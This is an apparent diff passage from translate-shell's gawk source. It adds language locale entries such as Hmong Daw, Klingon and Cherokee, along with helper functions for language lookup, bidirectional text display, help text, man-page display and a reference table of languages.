+Locale["mww"]["support"]           = "bing-only"
+Locale["mww"]["name"]              = "Hmong Daw"
+Locale["mww"]["endonym"]           = "Hmoob Daw"
+Locale["mww"]["family"]            = "Hmong-Mien"
+Locale["mww"]["iso"]               = "mww"
+Locale["mww"]["glotto"]            = "hmon1333"
+Locale["mww"]["script"]            = "Latn"
+Locale["otq"]["support"]           = "bing-only"
+Locale["otq"]["name"]              = "Querétaro Otomi"
+Locale["otq"]["endonym"]           = "Hñąñho"
+Locale["otq"]["family"]            = "Oto-Manguean"
+Locale["otq"]["iso"]               = "otq"
+Locale["otq"]["glotto"]            = "quer1236"
+Locale["otq"]["script"]            = "Latn"
+Locale["ty"]["support"]           = "bing-only"
+Locale["ty"]["name"]              = "Tahitian"
+Locale["ty"]["endonym"]           = "Reo Tahiti"
+Locale["ty"]["family"]            = "Austronesian"
+Locale["ty"]["iso"]               = "tah"
+Locale["ty"]["glotto"]            = "tahi1242"
+Locale["ty"]["script"]            = "Latn"
+Locale["to"]["support"]           = "bing-only"
+Locale["to"]["name"]              = "Tongan"
+Locale["to"]["endonym"]           = "Lea faka-Tonga"
+Locale["to"]["family"]            = "Austronesian"
+Locale["to"]["iso"]               = "ton"
+Locale["to"]["glotto"]            = "tong1325"
+Locale["to"]["script"]            = "Latn"
+Locale["yua"]["support"]           = "bing-only"
+Locale["yua"]["name"]              = "Yucatec Maya"
+Locale["yua"]["endonym"]           = "Màaya T'àan"
+Locale["yua"]["family"]            = "Mayan"
+Locale["yua"]["iso"]               = "yua"
+Locale["yua"]["glotto"]            = "yuca1254"
+Locale["yua"]["script"]            = "Latn"
+Locale["tlh"]["support"]           = "bing-only"
+Locale["tlh"]["name"]              = "Klingon"
+Locale["tlh"]["endonym"]           = "tlhIngan Hol"
+Locale["tlh"]["family"]            = "Artificial Language"
+Locale["tlh"]["iso"]               = "tlh"
+Locale["tlh"]["script"]            = "Latn"
+Locale["tlh-Qaak"]["support"]      = "bing-only"
+Locale["tlh-Qaak"]["name"]         = "Klingon (pIqaD)"
+Locale["tlh-Qaak"]["endonym"]      = " "
+Locale["tlh-Qaak"]["family"]       = "Artificial Language"
+Locale["tlh-Qaak"]["iso"]          = "tlh"
+Locale["tlh-Qaak"]["script"]       = "Piqd"
+Locale["as"]["support"]            = "unstable"
+Locale["as"]["name"]               = "Assamese"
+Locale["as"]["endonym"]            = "অসমীয়া"
+Locale["as"]["family"]             = "Indo-European"
+Locale["as"]["iso"]                = "asm"
+Locale["as"]["glotto"]             = "assa1263"
+Locale["as"]["script"]             = "Beng"
+Locale["ba"]["support"]            = "yandex-only"
+Locale["ba"]["name"]               = "Bashkir"
+Locale["ba"]["endonym"]            = "башҡорт теле"
+Locale["ba"]["family"]             = "Turkic"
+Locale["ba"]["iso"]                = "bak"
+Locale["ba"]["glotto"]             = "bash1264"
+Locale["ba"]["script"]             = "Cyrl"
+Locale["br"]["support"]            = "unstable"
+Locale["br"]["name"]               = "Breton"
+Locale["br"]["endonym"]            = "Brezhoneg"
+Locale["br"]["family"]             = "Indo-European"
+Locale["br"]["iso"]                = "bre"
+Locale["br"]["glotto"]             = "bret1244"
+Locale["br"]["script"]             = "Latn"
+Locale["dz"]["support"]            = "unstable"
+Locale["dz"]["name"]               = "Dzongkha"
+Locale["dz"]["endonym"]            = "རྫོང་ཁ"
+Locale["dz"]["family"]             = "Sino-Tibetan"
+Locale["dz"]["iso"]                = "dzo"
+Locale["dz"]["glotto"]             = "nucl1307"
+Locale["dz"]["script"]             = "Tibt"
+Locale["mhr"]["support"]           = "yandex-only"
+Locale["mhr"]["name"]              = "Eastern Mari"
+Locale["mhr"]["endonym"]           = "Олык марий"
+Locale["mhr"]["family"]            = "Uralic"
+Locale["mhr"]["iso"]               = "mhr"
+Locale["mhr"]["glotto"]            = "east2328"
+Locale["mhr"]["script"]            = "Cyrl"
+Locale["fo"]["support"]            = "unstable"
+Locale["fo"]["name"]               = "Faroese"
+Locale["fo"]["endonym"]            = "Føroyskt"
+Locale["fo"]["family"]             = "Indo-European"
+Locale["fo"]["iso"]                = "fao"
+Locale["fo"]["glotto"]             = "faro1244"
+Locale["fo"]["script"]             = "Latn"
+Locale["gn"]["support"]            = "unstable"
+Locale["gn"]["name"]               = "Guarani"
+Locale["gn"]["endonym"]            = "Avañe'ẽ"
+Locale["gn"]["family"]             = "Tupian"
+Locale["gn"]["iso"]                = "grn"
+Locale["gn"]["glotto"]             = "para1311"
+Locale["gn"]["script"]             = "Latn"
+Locale["mrj"]["support"]           = "yandex-only"
+Locale["mrj"]["name"]              = "Hill Mari"
+Locale["mrj"]["endonym"]           = "Кырык мары"
+Locale["mrj"]["family"]            = "Uralic"
+Locale["mrj"]["iso"]               = "mrj"
+Locale["mrj"]["glotto"]            = "west2392"
+Locale["mrj"]["script"]            = "Cyrl"
+Locale["ie"]["support"]            = "unstable"
+Locale["ie"]["name"]               = "Interlingue"
+Locale["ie"]["endonym"]            = "Interlingue"
+Locale["ie"]["family"]             = "Artificial Language"
+Locale["ie"]["iso"]                = "ile"
+Locale["ie"]["glotto"]             = "occi1241"
+Locale["ie"]["script"]             = "Latn"
+Locale["rw"]["support"]            = "unstable"
+Locale["rw"]["name"]               = "Kinyarwanda"
+Locale["rw"]["endonym"]            = "Ikinyarwanda"
+Locale["rw"]["family"]             = "Atlantic-Congo"
+Locale["rw"]["iso"]                = "kin"
+Locale["rw"]["glotto"]             = "kiny1244"
+Locale["rw"]["script"]             = "Latn"
+Locale["oc"]["support"]            = "unstable"
+Locale["oc"]["name"]               = "Occitan"
+Locale["oc"]["endonym"]            = "Occitan"
+Locale["oc"]["family"]             = "Indo-European"
+Locale["oc"]["iso"]                = "oci"
+Locale["oc"]["glotto"]             = "occi1239"
+Locale["oc"]["script"]             = "Latn"
+Locale["om"]["support"]            = "unstable"
+Locale["om"]["name"]               = "Oromo"
+Locale["om"]["endonym"]            = "Afaan Oromoo"
+Locale["om"]["family"]             = "Afro-Asiatic"
+Locale["om"]["iso"]                = "orm"
+Locale["om"]["glotto"]             = "nucl1736"
+Locale["om"]["script"]             = "Latn"
+Locale["or"]["support"]            = "unstable"
+Locale["or"]["name"]               = "Oriya"
+Locale["or"]["endonym"]            = "ଓଡ଼ିଆ"
+Locale["or"]["family"]             = "Indo-European"
+Locale["or"]["iso"]                = "ori"
+Locale["or"]["glotto"]             = "macr1269"
+Locale["or"]["script"]             = "Orya"
+Locale["pap"]["support"]           = "yandex-only"
+Locale["pap"]["name"]              = "Papiamento"
+Locale["pap"]["endonym"]           = "Papiamentu"
+Locale["pap"]["family"]            = "Indo-European"
+Locale["pap"]["iso"]               = "pap"
+Locale["pap"]["glotto"]            = "papi1253"
+Locale["pap"]["script"]            = "Latn"
+Locale["rm"]["support"]            = "unstable"
+Locale["rm"]["name"]               = "Romansh"
+Locale["rm"]["endonym"]            = "Rumantsch"
+Locale["rm"]["family"]             = "Indo-European"
+Locale["rm"]["iso"]                = "roh"
+Locale["rm"]["glotto"]             = "roma1326"
+Locale["rm"]["script"]             = "Latn"
+Locale["ti"]["support"]            = "unstable"
+Locale["ti"]["name"]               = "Tigrinya"
+Locale["ti"]["endonym"]            = "ትግርኛ"
+Locale["ti"]["family"]             = "Afro-Asiatic"
+Locale["ti"]["iso"]                = "tir"
+Locale["ti"]["glotto"]             = "tigr1271"
+Locale["ti"]["script"]             = "Ethi"
+Locale["bo"]["support"]            = "unstable"
+Locale["bo"]["name"]               = "Tibetan"
+Locale["bo"]["endonym"]            = "བོད་ཡིག"
+Locale["bo"]["family"]             = "Sino-Tibetan"
+Locale["bo"]["iso"]                = "bod"
+Locale["bo"]["glotto"]             = "tibe1272"
+Locale["bo"]["script"]             = "Tibt"
+Locale["tk"]["support"]            = "unstable"
+Locale["tk"]["name"]               = "Turkmen"
+Locale["tk"]["endonym"]            = "Türkmen"
+Locale["tk"]["family"]             = "Turkic"
+Locale["tk"]["iso"]                = "tuk"
+Locale["tk"]["glotto"]             = "turk1304"
+Locale["tk"]["script"]             = "Latn"
+Locale["tt"]["support"]            = "yandex-only"
+Locale["tt"]["name"]               = "Tatar"
+Locale["tt"]["endonym"]            = "татарча"
+Locale["tt"]["family"]             = "Turkic"
+Locale["tt"]["iso"]                = "tat"
+Locale["tt"]["glotto"]             = "tata1255"
+Locale["tt"]["script"]             = "Cyrl"
+Locale["udm"]["support"]           = "yandex-only"
+Locale["udm"]["name"]              = "Udmurt"
+Locale["udm"]["endonym"]           = "удмурт"
+Locale["udm"]["family"]            = "Uralic"
+Locale["udm"]["iso"]               = "udm"
+Locale["udm"]["glotto"]            = "udmu1245"
+Locale["udm"]["script"]            = "Cyrl"
+Locale["ug"]["support"]            = "unstable"
+Locale["ug"]["name"]               = "Uyghur"
+Locale["ug"]["endonym"]            = "ئۇيغۇر تىلى"
+Locale["ug"]["family"]             = "Turkic"
+Locale["ug"]["iso"]                = "uig"
+Locale["ug"]["glotto"]             = "uigh1240"
+Locale["ug"]["script"]             = "Arab"
+Locale["ug"]["rtl"]                = "true"
+Locale["vo"]["support"]            = "unstable"
+Locale["vo"]["name"]               = "Volapük"
+Locale["vo"]["endonym"]            = "Volapük"
+Locale["vo"]["family"]             = "Artificial Language"
+Locale["vo"]["iso"]                = "vol"
+Locale["vo"]["script"]             = "Latn"
+Locale["wo"]["support"]            = "unstable"
+Locale["wo"]["name"]               = "Wolof"
+Locale["wo"]["endonym"]            = "Wollof"
+Locale["wo"]["family"]             = "Atlantic-Congo"
+Locale["wo"]["iso"]                = "wol"
+Locale["wo"]["glotto"]             = "wolo1247"
+Locale["wo"]["script"]             = "Latn"
+Locale["chr"]["support"]           = "unstable"
+Locale["chr"]["name"]              = "Cherokee"
+Locale["chr"]["endonym"]           = "ᏣᎳᎩ"
+Locale["chr"]["family"]            = "Iroquoian"
+Locale["chr"]["iso"]               = "chr"
+Locale["chr"]["glotto"]            = "cher1273"
+Locale["chr"]["script"]            = "Cher"
+for (i in Locale) {
+Locale[i]["display"] = show(Locale[i]["endonym"], i)
+LocaleAlias[Locale[i]["iso"]] = i
+LocaleAlias[tolower(Locale[i]["name"])] = i
+LocaleAlias[tolower(Locale[i]["endonym"])] = i
+}
+LocaleAlias["in"] = "id"
+LocaleAlias["iw"] = "he"
+LocaleAlias["ji"] = "yi"
+LocaleAlias["jw"] = "jv"
+LocaleAlias["mo"] = "ro"
+LocaleAlias["nb"] = "no"
+LocaleAlias["nn"] = "no"
+LocaleAlias["sh"]      = "sr-Cyrl"
+LocaleAlias["sr"]      = "sr-Cyrl"
+LocaleAlias["srp"]     = "sr-Cyrl"
+LocaleAlias["serbian"] = "sr-Cyrl"
+LocaleAlias["zh"]      = "zh-CN"
+LocaleAlias["zh-CHS"]  = "zh-CN"
+LocaleAlias["zh-CHT"]  = "zh-TW"
+LocaleAlias["zho"]     = "zh-CN"
+LocaleAlias["chinese"] = "zh-CN"
+LocaleAlias["tlh-Latn"] = "tlh"
+LocaleAlias["tlh-Piqd"] = "tlh-Qaak"
+}
+function getCode(code,    group) {
+if (code == "auto" || code in Locale)
+return code
+else if (code in LocaleAlias)
+return LocaleAlias[code]
+else if (tolower(code) in LocaleAlias)
+return LocaleAlias[tolower(code)]
+match(code, /^([[:alpha:]][[:alpha:]][[:alpha:]]?)-(.*)$/, group)
+if (group[1])
+return group[1]
+return
+}
+function getName(code) {
+return Locale[getCode(code)]["name"]
+}
+function getEndonym(code) {
+return Locale[getCode(code)]["endonym"]
+}
+function getDisplay(code) {
+return Locale[getCode(code)]["display"]
+}
+function showTranslationsOf(code, text,    fmt) {
+fmt = Locale[getCode(code)]["translations-of"]
+if (!fmt) fmt = Locale["en"]["translations-of"]
+return sprintf(fmt, text)
+}
+function showDefinitionsOf(code, text,    fmt) {
+fmt = Locale[getCode(code)]["definitions-of"]
+if (!fmt) fmt = Locale["en"]["definitions-of"]
+return sprintf(fmt, text)
+}
+function showSynonyms(code,    tmp) {
+tmp = Locale[getCode(code)]["synonyms"]
+if (!tmp) tmp = Locale["en"]["synonyms"]
+return tmp
+}
+function showExamples(code,    tmp) {
+tmp = Locale[getCode(code)]["examples"]
+if (!tmp) tmp = Locale["en"]["examples"]
+return tmp
+}
+function showSeeAlso(code,    tmp) {
+tmp = Locale[getCode(code)]["see-also"]
+if (!tmp) tmp = Locale["en"]["see-also"]
+return tmp
+}
+function getFamily(code) {
+return Locale[getCode(code)]["family"]
+}
+function getISO(code) {
+return Locale[getCode(code)]["iso"]
+}
+function getGlotto(code) {
+return Locale[getCode(code)]["glotto"]
+}
+function getScript(code) {
+return Locale[getCode(code)]["script"]
+}
+function isRTL(code) {
+return Locale[getCode(code)]["rtl"] ? 1 : 0
+}
+function hasDictionary(code) {
+return Locale[getCode(code)]["dictionary"] ? 1 : 0
+}
+function compName(i1, v1, i2, v2) {
+if (getName(i1) < getName(i2))
+return -1
+else
+return (getName(i1) != getName(i2))
+}
+function scriptName(code) {
+switch (code) {
+case "Arab": return "Arabic"
+case "Armn": return "Armenian"
+case "Beng": return "Bengali"
+case "Cher": return "Cherokee"
+case "Cyrl": return "Cyrillic"
+case "Deva": return "Devanagari"
+case "Ethi": return "Ethiopic (Geʻez)"
+case "Geor": return "Georgian (Mkhedruli)"
+case "Grek": return "Greek"
+case "Gujr": return "Gujarati"
+case "Guru": return "Gurmukhi"
+case "Hani": return "Han"
+case "Hans": return "Han (Simplified)"
+case "Hant": return "Han (Traditional)"
+case "Hebr": return "Hebrew"
+case "Jpan": return "Japanese (Han + Hiragana + Katakana)"
+case "Khmr": return "Khmer"
+case "Knda": return "Kannada"
+case "Kore": return "Korean (Hangul + Han)"
+case "Laoo": return "Lao"
+case "Latn": return "Latin"
+case "Mlym": return "Malayalam"
+case "Mymr": return "Myanmar"
+case "Orya": return "Oriya"
+case "Piqd": return "Klingon (pIqaD)"
+case "Sinh": return "Sinhala"
+case "Taml": return "Tamil"
+case "Telu": return "Telugu"
+case "Thai": return "Thai"
+case "Tibt": return "Tibetan"
+default: return "Unknown"
+}
+}
+function getDetails(code,    group, iso, language, script) {
+if (code == "auto" || !getCode(code)) {
+e("[ERROR] Language not found: " code "\n"\
+"        Run '-reference / -R' to see a list of available languages.")
+exit 1
+}
+script = scriptName(getScript(code))
+if (isRTL(code)) script = script " (R-to-L)"
+split(getISO(code), group, "-")
+iso = group[1]
+split(getName(code), group, " ")
+language = length(group) == 1 ? group[1] "_language" :
+group[2] ~ /^\(.*\)$/ ? group[1] "_language" : join(group, "_")
+return ansi("bold", sprintf("%s\n", getDisplay(code)))\
+sprintf("%-22s%s\n", "Name", ansi("bold", getName(code)))\
+sprintf("%-22s%s\n", "Family", ansi("bold", getFamily(code)))\
+sprintf("%-22s%s\n", "Writing system", ansi("bold", script))\
+sprintf("%-22s%s\n", "Code", ansi("bold", getCode(code)))\
+sprintf("%-22s%s\n", "ISO 639-3", ansi("bold", iso))\
+sprintf("%-22s%s\n", "SIL", ansi("bold", "http://www-01.sil.org/iso639-3/documentation.asp?id=" iso))\
+sprintf("%-22s%s\n", "Glottolog", getGlotto(code) ?
+ansi("bold", "http://glottolog.org/resource/languoid/id/" getGlotto(code)) : "")\
+sprintf("%-22s%s", "Wikipedia", ansi("bold", "http://en.wikipedia.org/wiki/" language))
+}
+function showPhonetics(phonetics, code) {
+if (code && getCode(code) == "en")
+return "/" phonetics "/"
+else
+return "(" phonetics ")"
+}
+function show(text, code,    temp) {
+if (!code || isRTL(code)) {
+if (Cache[text][0])
+return Cache[text][0]
+else {
+if ((FriBidi || (code && isRTL(code))) && BiDiNoPad)
+("echo " parameterize(text) PIPE BiDiNoPad) | getline temp
+else
+temp = text
+return Cache[text][0] = temp
+}
+} else
+return text
+}
+function s(text, code, width,    temp) {
+if (!code || isRTL(code)) {
+if (!width) width = Option["width"]
+if (Cache[text][width])
+return Cache[text][width]
+else {
+if ((FriBidi || (code && isRTL(code))) && BiDi)
+("echo " parameterize(text) PIPE sprintf(BiDi, width)) | getline temp
+else
+temp = text
+return Cache[text][width] = temp
+}
+} else
+return text
+}
+function ins(level, text, code, width,    i, temp) {
+if (code && isRTL(code)) {
+if (!width) width = Option["width"]
+return s(text, code, width - Option["indent"] * level)
+} else
+return replicate(" ", Option["indent"] * level) text
+}
+function parseLang(lang,    code, group) {
+match(lang, /^([a-z][a-z][a-z]?)(_|$)/, group)
+code = getCode(group[1])
+if (lang ~ /^zh_(CN|SG)/) code = "zh-CN"
+else if (lang ~ /^zh_(TW|HK)/) code = "zh-TW"
+if (!code) code = "en"
+return code
+}
+function initUserLang(    lang, utf) {
+if (lang = ENVIRON["LANGUAGE"]) {
+if (!UserLocale) UserLocale = lang
+utf = utf || tolower(lang) ~ /utf-?8$/
+}
+if (lang = ENVIRON["LC_ALL"]) {
+if (!UserLocale) UserLocale = lang
+utf = utf || tolower(lang) ~ /utf-?8$/
+}
+if (lang = ENVIRON["LANG"]) {
+if (!UserLocale) UserLocale = lang
+utf = utf || tolower(lang) ~ /utf-?8$/
+}
+if (!UserLocale) {
+UserLocale = "en_US.UTF-8"
+utf = 1
+}
+if (!utf)
+w("[WARNING] Your locale codeset (" UserLocale ") is not UTF-8.")
+UserLang = parseLang(UserLocale)
+}
+function getVersion(    build, gitHead, platform) {
+initAudioPlayer()
+initPager()
+platform = detectProgram("uname", "-s", 1)
+if (ENVIRON["TRANS_BUILD"])
+build = "-" ENVIRON["TRANS_BUILD"]
+else {
+gitHead = getGitHead()
+build = gitHead ? "-git:" gitHead : ""
+}
+return ansi("bold", sprintf("%-22s%s%s\n\n", Name, Version, build))\
+sprintf("%-22s%s\n", "platform", platform)\
+sprintf("%-22s%s\n", "gawk (GNU Awk)", PROCINFO["version"])\
+sprintf("%s\n", FriBidi ? FriBidi :
+"fribidi (GNU FriBidi) [NOT INSTALLED]")\
+sprintf("%-22s%s\n", "audio player", AudioPlayer ? AudioPlayer :
+"[NOT INSTALLED]")\
+sprintf("%-22s%s\n", "terminal pager", Pager ? Pager :
+"[NOT INSTALLED]")\
+sprintf("%-22s%s\n", "terminal type", ENVIRON["TERM"])\
+sprintf("%-22s%s (%s)\n", "user locale", UserLocale, getName(UserLang))\
+sprintf("%-22s%s\n", "home language", Option["hl"])\
+sprintf("%-22s%s\n", "source language", Option["sl"])\
+sprintf("%-22s%s\n", "target language", join(Option["tl"], "+"))\
+sprintf("%-22s%s\n", "translation engine", Option["engine"])\
+sprintf("%-22s%s\n", "proxy", Option["proxy"] ? Option["proxy"] :
+"[NONE]")\
+sprintf("%-22s%s\n", "user-agent", Option["user-agent"] ? Option["user-agent"] :
+"[NONE]")\
+sprintf("%-22s%s\n", "theme", Option["theme"])\
+sprintf("%-22s%s\n", "init file", InitScript ? InitScript : "[NONE]")\
+sprintf("\n%-22s%s", "Report bugs to:", "https://github.com/soimort/translate-shell/issues")
+}
+function getHelp() {
+return "Usage:  " ansi("bold", Command)\
+" [" ansi("underline", "OPTIONS") "]"\
+" [" ansi("underline", "SOURCE") "]"\
+":[" ansi("underline", "TARGETS") "]"\
+" [" ansi("underline", "TEXT") "]..." RS\
+RS "Information options:" RS\
+ins(1, ansi("bold", "-V") ", " ansi("bold", "-version")) RS\
+ins(2, "Print version and exit.") RS\
+ins(1, ansi("bold", "-H") ", " ansi("bold", "-help")) RS\
+ins(2, "Print help message and exit.") RS\
+ins(1, ansi("bold", "-M") ", " ansi("bold", "-man")) RS\
+ins(2, "Show man page and exit.") RS\
+ins(1, ansi("bold", "-T") ", " ansi("bold", "-reference")) RS\
+ins(2, "Print reference table of languages and exit.") RS\
+ins(1, ansi("bold", "-R") ", " ansi("bold", "-reference-english")) RS\
+ins(2, "Print reference table of languages (in English names) and exit.") RS\
+ins(1, ansi("bold", "-L ") ansi("underline", "CODES")\
+", " ansi("bold", "-list ") ansi("underline", "CODES")) RS\
+ins(2, "Print details of languages and exit.") RS\
+ins(1, ansi("bold", "-S") ", " ansi("bold", "-list-engines")) RS\
+ins(2, "List available translation engines and exit.") RS\
+ins(1, ansi("bold", "-U") ", " ansi("bold", "-upgrade")) RS\
+ins(2, "Check for upgrade of this program.") RS\
+RS "Translator options:" RS\
+ins(1, ansi("bold", "-e ") ansi("underline", "ENGINE")\
+", " ansi("bold", "-engine ") ansi("underline", "ENGINE")) RS\
+ins(2, "Specify the translation engine to use.") RS\
+RS "Display options:" RS\
+ins(1, ansi("bold", "-verbose")) RS\
+ins(2, "Verbose mode. (default)") RS\
+ins(1, ansi("bold", "-b") ", " ansi("bold", "-brief")) RS\
+ins(2, "Brief mode.") RS\
+ins(1, ansi("bold", "-d") ", " ansi("bold", "-dictionary")) RS\
+ins(2, "Dictionary mode.") RS\
+ins(1, ansi("bold", "-identify")) RS\
+ins(2, "Language identification.") RS\
+ins(1, ansi("bold", "-show-original ") ansi("underline", "Y/n")) RS\
+ins(2, "Show original text or not.") RS\
+ins(1, ansi("bold", "-show-original-phonetics ") ansi("underline", "Y/n")) RS\
+ins(2, "Show phonetic notation of original text or not.") RS\
+ins(1, ansi("bold", "-show-translation ") ansi("underline", "Y/n")) RS\
+ins(2, "Show translation or not.") RS\
+ins(1, ansi("bold", "-show-translation-phonetics ") ansi("underline", "Y/n")) RS\
+ins(2, "Show phonetic notation of translation or not.") RS\
+ins(1, ansi("bold", "-show-prompt-message ") ansi("underline", "Y/n")) RS\
+ins(2, "Show prompt message or not.") RS\
+ins(1, ansi("bold", "-show-languages ") ansi("underline", "Y/n")) RS\
+ins(2, "Show source and target languages or not.") RS\
+ins(1, ansi("bold", "-show-original-dictionary ") ansi("underline", "y/N")) RS\
+ins(2, "Show dictionary entry of original text or not.") RS\
+ins(1, ansi("bold", "-show-dictionary ") ansi("underline", "Y/n")) RS\
+ins(2, "Show dictionary entry of translation or not.") RS\
+ins(1, ansi("bold", "-show-alternatives ") ansi("underline", "Y/n")) RS\
+ins(2, "Show alternative translations or not.") RS\
+ins(1, ansi("bold", "-w ") ansi("underline", "NUM")\
+", " ansi("bold", "-width ") ansi("underline", "NUM")) RS\
+ins(2, "Specify the screen width for padding.") RS\
+ins(1, ansi("bold", "-indent ") ansi("underline", "NUM")) RS\
+ins(2, "Specify the size of indent (number of spaces).") RS\
+ins(1, ansi("bold", "-theme ") ansi("underline", "FILENAME")) RS\
+ins(2, "Specify the theme to use.") RS\
+ins(1, ansi("bold", "-no-theme")) RS\
+ins(2, "Do not use any other theme than default.") RS\
+ins(1, ansi("bold", "-no-ansi")) RS\
+ins(2, "Do not use ANSI escape codes.") RS\
+ins(1, ansi("bold", "-no-autocorrect")) RS\
+ins(2, "Do not autocorrect. (if defaulted by the translation engine)") RS\
+ins(1, ansi("bold", "-no-bidi")) RS\
+ins(2, "Do not convert bidirectional texts.") RS\
+ins(1, ansi("bold", "-no-warn")) RS\
+ins(2, "Do not write warning messages to stderr.") RS\
+ins(1, ansi("bold", "-dump")) RS\
+ins(2, "Print raw API response instead.") RS\
+RS "Audio options:" RS\
+ins(1, ansi("bold", "-p, -play")) RS\
+ins(2, "Listen to the translation.") RS\
+ins(1, ansi("bold", "-speak")) RS\
+ins(2, "Listen to the original text.") RS\
+ins(1, ansi("bold", "-n ") ansi("underline", "VOICE")\
+", " ansi("bold", "-narrator ") ansi("underline", "VOICE")) RS\
+ins(2, "Specify the narrator, and listen to the translation.") RS\
+ins(1, ansi("bold", "-player ") ansi("underline", "PROGRAM")) RS\
+ins(2, "Specify the audio player to use, and listen to the translation.") RS\
+ins(1, ansi("bold", "-no-play")) RS\
+ins(2, "Do not listen to the translation.") RS\
+ins(1, ansi("bold", "-no-translate")) RS\
+ins(2, "Do not translate anything when using -speak.") RS\
+ins(1, ansi("bold", "-download-audio")) RS\
+ins(2, "Download the audio to the current directory.") RS\
+ins(1, ansi("bold", "-download-audio-as ") ansi("underline", "FILENAME")) RS\
+ins(2, "Download the audio to the specified file.") RS\
+RS "Terminal paging and browsing options:" RS\
+ins(1, ansi("bold", "-v") ", " ansi("bold", "-view")) RS\
+ins(2, "View the translation in a terminal pager.") RS\
+ins(1, ansi("bold", "-pager ") ansi("underline", "PROGRAM")) RS\
+ins(2, "Specify the terminal pager to use, and view the translation.") RS\
+ins(1, ansi("bold", "-no-view")) RS\
+ins(2, "Do not view the translation in a terminal pager.") RS\
+ins(1, ansi("bold", "-browser ") ansi("underline", "PROGRAM")) RS\
+ins(2, "Specify the web browser to use.") RS\
+RS "Networking options:" RS\
+ins(1, ansi("bold", "-x ") ansi("underline", "HOST:PORT")\
+", " ansi("bold", "-proxy ") ansi("underline", "HOST:PORT")) RS\
+ins(2, "Use HTTP proxy on given port.") RS\
+ins(1, ansi("bold", "-u ") ansi("underline", "STRING")\
+", " ansi("bold", "-user-agent ") ansi("underline", "STRING")) RS\
+ins(2, "Specify the User-Agent to identify as.") RS\
+RS "Interactive shell options:" RS\
+ins(1, ansi("bold", "-I") ", " ansi("bold", "-interactive") ", " ansi("bold", "-shell")) RS\
+ins(2, "Start an interactive shell.") RS\
+ins(1, ansi("bold", "-E") ", " ansi("bold", "-emacs")) RS\
+ins(2, "Start the GNU Emacs front-end for an interactive shell.") RS\
+ins(1, ansi("bold", "-no-rlwrap")) RS\
+ins(2, "Do not invoke rlwrap when starting an interactive shell.") RS\
+RS "I/O options:" RS\
+ins(1, ansi("bold", "-i ") ansi("underline", "FILENAME")\
+", " ansi("bold", "-input ") ansi("underline", "FILENAME")) RS\
+ins(2, "Specify the input file.") RS\
+ins(1, ansi("bold", "-o ") ansi("underline", "FILENAME")\
+", " ansi("bold", "-output ") ansi("underline", "FILENAME")) RS\
+ins(2, "Specify the output file.") RS\
+RS "Language preference options:" RS\
+ins(1, ansi("bold", "-l ") ansi("underline", "CODE")\
+", " ansi("bold", "-hl ") ansi("underline", "CODE")\
+", " ansi("bold", "-lang ") ansi("underline", "CODE")) RS\
+ins(2, "Specify your home language.") RS\
+ins(1, ansi("bold", "-s ") ansi("underline", "CODE")\
+", " ansi("bold", "-sl ") ansi("underline", "CODE")\
+", " ansi("bold", "-source ") ansi("underline", "CODE")\
+", " ansi("bold", "-from ") ansi("underline", "CODE")) RS\
+ins(2, "Specify the source language.") RS\
+ins(1, ansi("bold", "-t ") ansi("underline", "CODES")\
+", " ansi("bold", "-tl ") ansi("underline", "CODE")\
+", " ansi("bold", "-target ") ansi("underline", "CODES")\
+", " ansi("bold", "-to ") ansi("underline", "CODES")) RS\
+ins(2, "Specify the target language(s), joined by '+'.") RS\
+RS "Other options:" RS\
+ins(1, ansi("bold", "-no-init")) RS\
+ins(2, "Do not load any initialization script.") RS\
+RS "See the man page " Command "(1) for more information."
+}
+function showMan(    temp) {
+if (ENVIRON["TRANS_MANPAGE"]) {
+initPager()
+Groff = detectProgram("groff", "--version")
+if (Pager && Groff) {
+temp = "echo -E \"${TRANS_MANPAGE}\""
+temp = temp PIPE\
+Groff " -Wall -mtty-char -mandoc -Tutf8 "\
+"-rLL=" Option["width"] "n -rLT=" Option["width"] "n"
+switch (Pager) {
+case "less":
+temp = temp PIPE\
+Pager " -s -P\"\\ \\Manual page " Command "(1) line %lt (press h for help or q to quit)\""
+break
+case "most":
+temp = temp PIPE Pager " -Cs"
+break
+default:
+temp = temp PIPE Pager
+}
+system(temp)
+return
+}
+}
+if (fileExists(ENVIRON["TRANS_DIR"] "/man/" Command ".1"))
+system("man " parameterize(ENVIRON["TRANS_DIR"] "/man/" Command ".1") SUPERR)
+else if (system("man " Command SUPERR))
+print getHelp()
+}
+function getReference(displayName,
+code, col, cols, i, j, name, num, r, rows, saveSortedIn,
+t1, t2) {
+num = 0
+for (code in Locale)
+if (Locale[code]["support"] != "unstable")
+num++
+rows = int(num / 3) + (num % 3 ? 1 : 0)
+cols[0][0] = cols[1][0] = cols[2][0] = NULLSTR
+i = 0
+saveSortedIn = PROCINFO["sorted_in"]
+PROCINFO["sorted_in"] = displayName == "endonym" ? "@ind_num_asc" :
+"compName"
+for (code in Locale) {
+if (Locale[code]["support"] != "unstable") {
+col = int(i / rows)
+append(cols[col], code)
+i++
+}
+}
+PROCINFO["sorted_in"] = saveSortedIn
+if (displayName == "endonym") {
+r = "┌" replicate("─", 23) "┬" replicate("─", 23) "┬" replicate("─", 23) "┐" RS
+for (i = 0; i < rows; i++) {
+r = r "│"
+for (j = 0; j < 3; j++) {
+if (cols[j][i]) {
+t1 = getDisplay(cols[j][i])
+switch (cols[j][i]) {
+case "he":
+t1 = sprintf(" %-18s", t1)
+break
+case "ur":
+t1 = sprintf(" %-17s", t1)
+break
+case "hi": case "gu": case "km": case "kn":
+case "my": case "ne": case "pa": case "si":
+case "ta": case "te": case "yi":
+t1 = sprintf(" %-16s", t1)
+break
+case "yue":
+t1 = sprintf(" %-13s", t1)
+break
+case "ja": case "ko":
+t1 = sprintf(" %-12s", t1)
+break
+case "zh-CN": case "zh-TW":
+t1 = sprintf(" %-11s", t1)
+break
+default:
+if (length(t1) <= 15)
+t1 = sprintf(" %-15s", t1)
+}
+switch (length(cols[j][i])) {
+case 1: case 2: case 3: case 4:
+t2 = sprintf("- %s │", ansi("bold", sprintf("%4s", cols[j][i])))
+break
+case 5:
+t2 = sprintf("- %s│", ansi("bold", cols[j][i]))
+break
+case 6:
+t2 = sprintf("-%s│", ansi("bold", cols[j][i]))
+break
+case 7:
+t2 = sprintf("-%s", ansi("bold", cols[j][i]))
+break
+default:
+t2 = ansi("bold", cols[j][i])
+}
+r = r t1 t2
+} else
+r = r sprintf("%23s│", NULLSTR)
+}
+r = r RS
+}
+r = r "└" replicate("─", 23) "┴" replicate("─", 23) "┴" replicate("─", 23) "┘"
+} else {
+r = "┌" replicate("─", 23) "┬" replicate("─", 23) "┬" replicate("─", 23) "┐" RS
+for (i = 0; i < rows; i++) {
+r = r "│"
+for (j = 0; j < 3; j++) {
